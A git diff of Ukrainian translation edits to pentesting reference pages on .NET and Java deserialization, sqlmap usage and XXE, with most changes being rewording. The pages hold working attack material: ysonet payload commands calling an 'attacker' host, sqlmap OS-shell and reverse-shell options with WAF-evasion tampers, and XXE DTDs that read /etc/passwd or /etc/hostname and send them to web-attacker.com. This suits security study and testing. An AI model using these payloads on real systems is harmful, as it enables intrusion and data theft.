| **GetterCompilerResults** | У середовищах з підтримкою WPF (> .NET 5) з'єднує геттери властивостей, поки не досягне `System.CodeDom.Compiler.CompilerResults`, потім *компілює* або *завантажує* DLL, надану з `-c` | `Json.NET` без типу, `MessagePack` без типу | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (огляд) | Використовує WPF `System.Windows.Data.ObjectDataProvider`, щоб викликати довільний статичний метод з контрольованими аргументами. YSoNet додає зручний варіант `--xamlurl`, щоб розмістити шкідливий XAML віддалено | `BinaryFormatter`, `Json.NET`, `XAML`, *тощо* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **ObjectDataProvider** (огляд) | Використовує WPF `System.Windows.Data.ObjectDataProvider`, щоб викликати випадковий статичний метод з контрольованими аргументами. YSoNet додає зручний варіант `--xamlurl`, щоб розмістити шкідливий XAML віддалено | `BinaryFormatter`, `Json.NET`, `XAML`, *тощо* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Вбудовує `ScriptBlock` у `System.Management.Automation.PSObject`, який виконується, коли PowerShell десеріалізує об'єкт | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
@ -204,7 +204,7 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
|
||||
### Building / Installing YSoNet
|
||||
|
||||
Якщо під *Actions ➜ Artifacts* / *Releases* немає доступних попередньо скомпільованих бінарних файлів, наступна **PowerShell** команда налаштує середовище для збірки, клонуватиме репозиторій і скомпілює все в режимі *Release*:
|
||||
Якщо немає попередньо скомпільованих бінарних файлів під *Actions ➜ Artifacts* / *Releases*, наступна **PowerShell** команда налаштує середовище для збірки, клонуватиме репозиторій і скомпілює все в режимі *Release*:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
@ -221,7 +221,7 @@ msbuild ysonet.sln -p:Configuration=Release
|
||||
### Виявлення та зміцнення
|
||||
* **Виявляйте** несподівані дочірні процеси `w3wp.exe`, `PowerShell.exe` або будь-який процес, що десеріалізує дані, надані користувачем (наприклад, `MessagePack`, `Json.NET`).
|
||||
* Увімкніть та **забезпечте фільтрацію типів** (`TypeFilterLevel` = *Full*, користувацький `SurrogateSelector`, `SerializationBinder`, *тощо*), коли застарілий `BinaryFormatter` / `NetDataContractSerializer` не може бути видалений.
|
||||
* Де можливо, мігруйте до **`System.Text.Json`** або **`DataContractJsonSerializer`** з конвертерами на основі білого списку.
|
||||
* Де це можливо, мігруйте до **`System.Text.Json`** або **`DataContractJsonSerializer`** з конвертерами на основі білого списку.
|
||||
* Блокуйте небезпечні збірки WPF (`PresentationFramework`, `System.Workflow.*`), щоб вони не завантажувалися в веб-процесах, яким вони ніколи не потрібні.
|
||||
|
||||
## Посилання
|
||||
|
@ -94,7 +94,7 @@ payloadTest("test.ser");
|
||||
```
|
||||
### Висновок (класичний сценарій)
|
||||
|
||||
Як ви можете бачити в цьому дуже базовому прикладі, "вразливість" тут виникає через те, що метод **readObject()** **викликає інший код, контрольований атакуючим**. У реальних ланцюгах гаджетів тисячі класів, що містяться в зовнішніх бібліотеках (Commons-Collections, Spring, Groovy, Rome, SnakeYAML тощо), можуть бути зловживані – атакуючому потрібен лише *один* досяжний гаджет для отримання виконання коду.
|
||||
Як ви можете бачити в цьому дуже базовому прикладі, “вразливість” тут виникає через те, що метод **readObject()** **викликає інший код, контрольований атакуючим**. У реальних ланцюгах гаджетів тисячі класів, що містяться в зовнішніх бібліотеках (Commons-Collections, Spring, Groovy, Rome, SnakeYAML тощо), можуть бути зловживані – атакуючому потрібен лише *один* досяжний гаджет для отримання виконання коду.
|
||||
|
||||
---
|
||||
|
||||
@ -119,7 +119,7 @@ payloadTest("test.ser");
|
||||
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
2. **JEP 415 (Java 17+) Фабрики фільтрів, специфічні для контексту** – використовуйте `BinaryOperator<ObjectInputFilter>`, щоб застосовувати різні фільтри для кожного контексту виконання (наприклад, для кожного виклику RMI, для кожного споживача черги повідомлень).
|
||||
2. **JEP 415 (Java 17+) Фабрики фільтрів, специфічних для контексту** – використовуйте `BinaryOperator<ObjectInputFilter>` для застосування різних фільтрів для кожного контексту виконання (наприклад, для кожного виклику RMI, для кожного споживача черги повідомлень).
|
||||
3. **Не піддавайте сирий `ObjectInputStream` через мережу** – надавайте перевагу JSON/бінарним кодуванням без семантики виконання коду (Jackson після відключення `DefaultTyping`, Protobuf, Avro тощо).
|
||||
4. **Обмеження захисту в глибині** – встановіть максимальну довжину масиву, глибину, посилання:
|
||||
```bash
|
||||
@ -144,7 +144,7 @@ java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
2. Ніколи не викликайте методи, надані користувачем, або не виконуйте I/O у методі – лише читайте поля.
|
||||
3. Якщо потрібна валідація, виконуйте її **після** десеріалізації, поза `readObject()`.
|
||||
4. Віддавайте перевагу реалізації `Externalizable` і виконуйте явні читання полів замість стандартної серіалізації.
|
||||
5. Зареєструйте посилений `ObjectInputFilter` навіть для внутрішніх сервісів (дизайн, стійкий до компрометацій).
|
||||
5. Зареєструйте посилений `ObjectInputFilter` навіть для внутрішніх сервісів (дизайн, стійкий до компрометації).
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -32,7 +32,7 @@
|
||||
| E | Error-based | Використовує детальні повідомлення про помилки СУБД для ексфільтрації результатів |
|
||||
| U | UNION query | Впроваджує оператори `UNION SELECT` для отримання даних через той же канал |
|
||||
| S | Stacked queries | Додає додаткові оператори, розділені `;` |
|
||||
| T | Time-based blind | Спирається на затримки (`SLEEP`, `WAITFOR`), щоб виявити ін'єкцію |
|
||||
| T | Time-based blind | Спирається на затримки (`SLEEP`, `WAITFOR`) для виявлення ін'єкції |
|
||||
| Q | Inline / out-of-band | Використовує функції, такі як `LOAD_FILE()`, або OOB-канали, такі як DNS |
|
||||
|
||||
Замовчуваний порядок - `BEUSTQ`. Ви можете переставити або обмежити їх, наприклад, лише Boolean і Time-based у цьому порядку:
|
||||
@ -71,7 +71,7 @@ sqlmap -r req.txt --current-user
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
```
|
||||
### Впровадження запиту POST
|
||||
### Впровадження POST-запиту
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
@ -105,7 +105,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
||||
#Dropping a reverse-shell / meterpreter
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```
|
||||
### Обхід веб-сайту з SQLmap та автоматичне використання експлойтів
|
||||
### Обхід веб-сайту з SQLmap та автоматичне використання уразливостей
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -137,32 +137,32 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
|
||||
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
|
||||
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
|
||||
| base64encode.py | Кодує всі символи в заданому payload у Base64 |
|
||||
| appendnullbyte.py | Додає закодований символ NULL байта в кінець навантаження |
|
||||
| base64encode.py | Кодує всі символи в заданому навантаженні в Base64 |
|
||||
| between.py | Замінює оператор більше ніж \('>'\) на 'NOT BETWEEN 0 AND \#' |
|
||||
| bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE |
|
||||
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload \(не обробляючи вже закодовані\) |
|
||||
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому навантаженні \(не обробляючи вже закодовані\) |
|
||||
| commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Замінює випадки на кшталт 'MID\(A, B, C\)' на 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Замінює випадки на кшталт 'CONCAT\(A, B\)' на 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | URL-кодує всі символи в заданому payload \(не обробляючи вже закодовані\) |
|
||||
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "%u0022" |
|
||||
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "\u0022" |
|
||||
| charencode.py | URL-кодує всі символи в заданому навантаженні \(не обробляючи вже закодовані\) |
|
||||
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому навантаженні \(не обробляючи вже закодовані\). "%u0022" |
|
||||
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому навантаженні \(не обробляючи вже закодовані\). "\u0022" |
|
||||
| equaltolike.py | Замінює всі випадки оператора рівності \('='\) на оператор 'LIKE' |
|
||||
| escapequotes.py | Екранує лапки \(' і "\) |
|
||||
| greatest.py | Замінює оператор більше ніж \('>'\) на його аналог 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
|
||||
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Обгортає повний запит у версійний коментар |
|
||||
| modsecurityzeroversioned.py | Обгортає повний запит у коментар з нульовою версією |
|
||||
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Обгортає повний запит версійним коментарем |
|
||||
| modsecurityzeroversioned.py | Обгортає повний запит коментарем з нульовою версією |
|
||||
| multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів |
|
||||
| nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни \(наприклад, .replace\("SELECT", ""\)\) фільтри |
|
||||
| percentage.py | Додає знак відсотка \('%'\) перед кожним символом |
|
||||
| overlongutf8.py | Перетворює всі символи в заданому payload \(не обробляючи вже закодовані\) |
|
||||
| percentage.py | Додає знак відсотка \('%'\) перед кожним символом |
|
||||
| overlongutf8.py | Перетворює всі символи в заданому навантаженні \(не обробляючи вже закодовані\) |
|
||||
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
|
||||
| randomcomments.py | Додає випадкові коментарі до SQL ключових слів |
|
||||
| securesphere.py | Додає спеціально підготовлений рядок |
|
||||
| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення з журналів DBMS |
|
||||
| sp_password.py | Додає 'sp_password' в кінець навантаження для автоматичного затемнення з журналів DBMS |
|
||||
| space2comment.py | Замінює символ пробілу \(' '\) на коментарі |
|
||||
| space2dash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує випадковий рядок і новий рядок \('\n'\) |
|
||||
| space2hash.py | Замінює символ пробілу \(' '\) на символ фунта \('\#'\), за яким слідує випадковий рядок і новий рядок \('\n'\) |
|
||||
@ -178,8 +178,8 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) |
|
||||
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
|
||||
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
|
||||
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар MySQL |
|
||||
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL |
|
||||
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово версійним коментарем |
|
||||
| versionedmorekeywords.py | Обгортає кожне ключове слово версійним коментарем |
|
||||
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
|
||||
|
||||
## References
|
||||
|
@ -60,13 +60,13 @@ sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
Використовуючи [SQLMapping](https://taurusomar.github.io/sqlmapping/), це практичний інструмент, який генерує команди та надає повний огляд, як базовий, так і розширений, для SQLMap. Він включає ToolTips, які пояснюють кожен аспект інструмента, детально описуючи кожну опцію, щоб ви могли покращити та зрозуміти, як використовувати його ефективно та результативно.
|
||||
Використовуючи [SQLMapping](https://taurusomar.github.io/sqlmapping/), це практичний інструмент, який генерує команди та надає повний огляд, як базовий, так і розширений, для SQLMap. Він включає ToolTips, які пояснюють кожен аспект інструменту, детально описуючи кожну опцію, щоб ви могли покращити та зрозуміти, як використовувати його ефективно та результативно.
|
||||
|
||||
## Injection place
|
||||
## Місце ін'єкції
|
||||
|
||||
### From Burp/ZAP capture
|
||||
### З захоплення Burp/ZAP
|
||||
|
||||
Захопіть запит і створіть файл req.txt
|
||||
Захопіть запит і створіть файл req.txt.
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
@ -154,7 +154,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
### Tamper
|
||||
|
||||
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого порядку ін'єкції тут](second-order-injection-sqlmap.md).
|
||||
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другої Порядкової Ін'єкції тут](second-order-injection-sqlmap.md).
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -162,51 +162,51 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| Tamper | Опис |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
|
||||
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
|
||||
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвійний юнікодний аналог |
|
||||
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
|
||||
| base64encode.py | Кодує всі символи в заданому payload у форматі Base64 |
|
||||
| between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' |
|
||||
| base64encode.py | Кодує всі символи в заданому payload у форматі Base64 |
|
||||
| between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE |
|
||||
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
|
||||
| commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Замінює випадки на кшталт 'MID(A, B, C)' на 'MID(A FROM B FOR C)' |
|
||||
| commalesslimit.py | Замінює випадки на кшталт 'LIMIT M, N' на 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Замінює випадки на кшталт 'MID(A, B, C)' на 'MID(A FROM B FOR C)' |
|
||||
| concat2concatws.py | Замінює випадки на кшталт 'CONCAT(A, B)' на 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
|
||||
| charencode.py | URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
|
||||
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "%u0022" |
|
||||
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "\u0022" |
|
||||
| equaltolike.py | Замінює всі випадки оператора рівності ('=') на оператор 'LIKE' |
|
||||
| charencode.py | URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
|
||||
| charunicodeencode.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "%u0022" |
|
||||
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload (не обробляючи вже закодовані). "\u0022" |
|
||||
| equaltolike.py | Замінює всі випадки оператора рівності ('=') на оператор 'LIKE' |
|
||||
| escapequotes.py | Екранує лапки (' і ") |
|
||||
| greatest.py | Замінює оператор більше ніж ('>') на його аналог 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
|
||||
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Обгортає повний запит у версійний коментар |
|
||||
| modsecurityzeroversioned.py | Обгортає повний запит у коментар з нульовою версією |
|
||||
| greatest.py | Замінює оператор більше ніж ('>') на його аналог 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
|
||||
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL(A, B)' на 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Обгортає повний запит версійним коментарем |
|
||||
| modsecurityzeroversioned.py | Обгортає повний запит коментарем з нульовою версією |
|
||||
| multiplespaces.py | Додає кілька пробілів навколо SQL ключових слів |
|
||||
| nonrecursivereplacement.py | Замінює попередньо визначені SQL ключові слова на представлення, придатні для заміни (наприклад, .replace("SELECT", "")) фільтри |
|
||||
| percentage.py | Додає знак відсотка ('%') перед кожним символом |
|
||||
| percentage.py | Додає знак відсотка ('%') перед кожним символом |
|
||||
| overlongutf8.py | Конвертує всі символи в заданому payload (не обробляючи вже закодовані) |
|
||||
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
|
||||
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
|
||||
| randomcomments.py | Додає випадкові коментарі до SQL ключових слів |
|
||||
| securesphere.py | Додає спеціально підготовлений рядок |
|
||||
| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення в журналах DBMS |
|
||||
| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення з журналів DBMS |
|
||||
| space2comment.py | Замінює символ пробілу (' ') на коментарі |
|
||||
| space2dash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує випадковий рядок і новий рядок ('\n') |
|
||||
| space2dash.py | Замінює символ пробілу (' ') на коментар з дефісом ('--'), за яким слідує випадковий рядок і новий рядок ('\n') |
|
||||
| space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
|
||||
| space2morehash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
|
||||
| space2mssqlblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
|
||||
| space2mssqlhash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує новий рядок ('\n') |
|
||||
| space2mysqlblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
|
||||
| space2mysqldash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує новий рядок ('\n') |
|
||||
| space2mysqldash.py | Замінює символ пробілу (' ') на коментар з дефісом ('--'), за яким слідує новий рядок ('\n') |
|
||||
| space2plus.py | Замінює символ пробілу (' ') на плюс ('+') |
|
||||
| space2randomblank.py | Замінює символ пробілу (' ') на випадковий пробіл з дійсного набору альтернативних символів |
|
||||
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги (&& і |
|
||||
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
|
||||
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
|
||||
| unmagicquotes.py | Замінює символ лапки (') на комбінацію з кількох байтів %bf%27 разом з загальним коментарем в кінці (щоб це працювало) |
|
||||
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
|
||||
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
|
||||
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар MySQL |
|
||||
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL |
|
||||
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
|
||||
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
|
||||
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово версійним коментарем MySQL |
|
||||
| versionedmorekeywords.py | Обгортає кожне ключове слово версійним коментарем MySQL |
|
||||
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
|
||||
|
||||
|
||||
## References
|
||||
|
@ -6,10 +6,10 @@
|
||||
|
||||
XML - це мова розмітки, призначена для зберігання та транспортування даних, що має гнучку структуру, яка дозволяє використовувати описово названі теги. Вона відрізняється від HTML тим, що не обмежена набором попередньо визначених тегів. Значення XML зменшилося з появою JSON, незважаючи на її початкову роль у технології AJAX.
|
||||
|
||||
- **Представлення даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `<` та `>`, які відповідають `<` та `>` для уникнення конфлікту з системою тегів XML.
|
||||
- **Визначення елементів XML**: XML дозволяє визначати типи елементів, окреслюючи, як елементи повинні бути структуровані та який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.
|
||||
- **Представлення даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `<` і `>`, які відповідають `<` і `>` для уникнення конфлікту з системою тегів XML.
|
||||
- **Визначення елементів XML**: XML дозволяє визначати типи елементів, окреслюючи, як елементи повинні бути структуровані і який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.
|
||||
- **Визначення типу документа (DTD)**: DTD є важливими в XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінацією, вказуючи, як документи формуються та перевіряються.
|
||||
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені за допомогою URL, викликають занепокоєння з точки зору безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені з URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати методи виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, для підтвердження вразливості.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
@ -20,7 +20,7 @@ XML - це мова розмітки, призначена для зберіга
|
||||
|
||||
### Тест нової сутності
|
||||
|
||||
У цій атаці я збираюся перевірити, чи працює проста нова декларація СУТНОСТІ.
|
||||
У цій атаці я збираюся перевірити, чи працює проста нова декларація ENTITY.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||||
@ -97,7 +97,7 @@ XXE може бути використано для зловживання SSRF
|
||||
|
||||
### Приклад шкідливого DTD:
|
||||
|
||||
Структура виглядає наступним чином:
|
||||
Структура така:
|
||||
```xml
|
||||
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
||||
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
|
||||
@ -107,11 +107,11 @@ XXE може бути використано для зловживання SSRF
|
||||
Кроки, виконані цим DTD, включають:
|
||||
|
||||
1. **Визначення параметричних сутностей:**
|
||||
- XML параметрична сутність, `%file`, створюється, читаючи вміст файлу `/etc/hostname`.
|
||||
- Інша XML параметрична сутність, `%eval`, визначається. Вона динамічно оголошує нову XML параметричну сутність, `%exfiltrate`. Сутність `%exfiltrate` налаштовується на виконання HTTP запиту до сервера атакуючого, передаючи вміст сутності `%file` у рядку запиту URL.
|
||||
- Створюється XML параметрична сутність, `%file`, яка читає вміст файлу `/etc/hostname`.
|
||||
- Визначається інша XML параметрична сутність, `%eval`. Вона динамічно оголошує нову XML параметричну сутність, `%exfiltrate`. Сутність `%exfiltrate` налаштована на виконання HTTP запиту до сервера атакуючого, передаючи вміст сутності `%file` у рядку запиту URL.
|
||||
2. **Виконання сутностей:**
|
||||
- Сутність `%eval` використовується, що призводить до виконання динамічного оголошення сутності `%exfiltrate`.
|
||||
- Сутність `%exfiltrate` потім використовується, що викликає HTTP запит до вказаного URL з вмістом файлу.
|
||||
- Використовується сутність `%eval`, що призводить до виконання динамічного оголошення сутності `%exfiltrate`.
|
||||
- Потім використовується сутність `%exfiltrate`, що викликає HTTP запит до вказаного URL з вмістом файлу.
|
||||
|
||||
Атакуючий розміщує цей шкідливий DTD на сервері під своїм контролем, зазвичай за URL на кшталт `http://web-attacker.com/malicious.dtd`.
|
||||
|
||||
@ -130,9 +130,9 @@ XXE може бути використано для зловживання SSRF
|
||||
Повідомлення про помилку парсингу XML, яке розкриває вміст файлу `/etc/passwd`, може бути викликане за допомогою шкідливого зовнішнього визначення типу документа (DTD). Це досягається через наступні кроки:
|
||||
|
||||
1. Визначається XML параметрична сутність з назвою `file`, яка містить вміст файлу `/etc/passwd`.
|
||||
2. Визначається XML параметрична сутність з назвою `eval`, що включає динамічне визначення для іншої XML параметричної сутності з назвою `error`. Ця сутність `error`, коли її оцінюють, намагається завантажити неіснуючий файл, використовуючи вміст сутності `file` як своє ім'я.
|
||||
2. Визначається XML параметрична сутність з назвою `eval`, що включає динамічне визначення для іншої XML параметричної сутності з назвою `error`. Ця сутність `error`, коли її оцінюють, намагається завантажити неіснуючий файл, використовуючи вміст сутності `file` як його ім'я.
|
||||
3. Викликається сутність `eval`, що призводить до динамічного визначення сутності `error`.
|
||||
4. Виклик сутності `error` призводить до спроби завантажити неіснуючий файл, що генерує повідомлення про помилку, яке включає вміст файлу `/etc/passwd` як частину імені файлу.
|
||||
4. Виклик сутності `error` призводить до спроби завантажити неіснуючий файл, що викликає повідомлення про помилку, яке включає вміст файлу `/etc/passwd` як частину імені файлу.
|
||||
|
||||
Шкідливий зовнішній DTD можна викликати за допомогою наступного XML:
|
||||
```xml
|
||||
@ -167,11 +167,11 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
|
||||
```
|
||||
Описані кроки виконуються цим DTD:
|
||||
|
||||
- Визначення XML параметричної сутності з ім'ям `local_dtd` включає зовнішній DTD файл, розташований на файловій системі сервера.
|
||||
- Визначення XML параметричної сутності з назвою `local_dtd` включає зовнішній DTD файл, розташований на файловій системі сервера.
|
||||
- Відбувається повторне визначення для XML параметричної сутності `custom_entity`, спочатку визначеної у зовнішньому DTD, щоб інкапсулювати [експлойт XXE на основі помилок](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Це повторне визначення призначене для викликання помилки парсингу, що відкриває вміст файлу `/etc/passwd`.
|
||||
- Використовуючи сутність `local_dtd`, залучається зовнішній DTD, що охоплює нововизначену `custom_entity`. Ця послідовність дій призводить до виникнення повідомлення про помилку, яке є метою експлойту.
|
||||
- Використовуючи сутність `local_dtd`, залучається зовнішній DTD, що охоплює нововизначену `custom_entity`. Ця послідовність дій призводить до виведення повідомлення про помилку, на яке націлений експлойт.
|
||||
|
||||
**Приклад з реального життя:** Системи, що використовують середовище робочого столу GNOME, часто мають DTD за адресою `/usr/share/yelp/dtd/docbookx.dtd`, що містить сутність з ім'ям `ISOamso`.
|
||||
**Приклад з реального життя:** Системи, що використовують середовище робочого столу GNOME, часто мають DTD за адресою `/usr/share/yelp/dtd/docbookx.dtd`, що містить сутність з назвою `ISOamso`.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -188,7 +188,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
|
||||
```
|
||||
.png>)
|
||||
|
||||
Оскільки ця техніка використовує **внутрішній DTD, спочатку потрібно знайти дійсний**. Ви можете зробити це, **встановивши** ту ж **ОС / програмне забезпечення**, яке використовує сервер, і **шукаючи деякі стандартні DTD**, або **отримавши список** **стандартних DTD** в системах і **перевіривши**, чи існує хоча б один з них:
|
||||
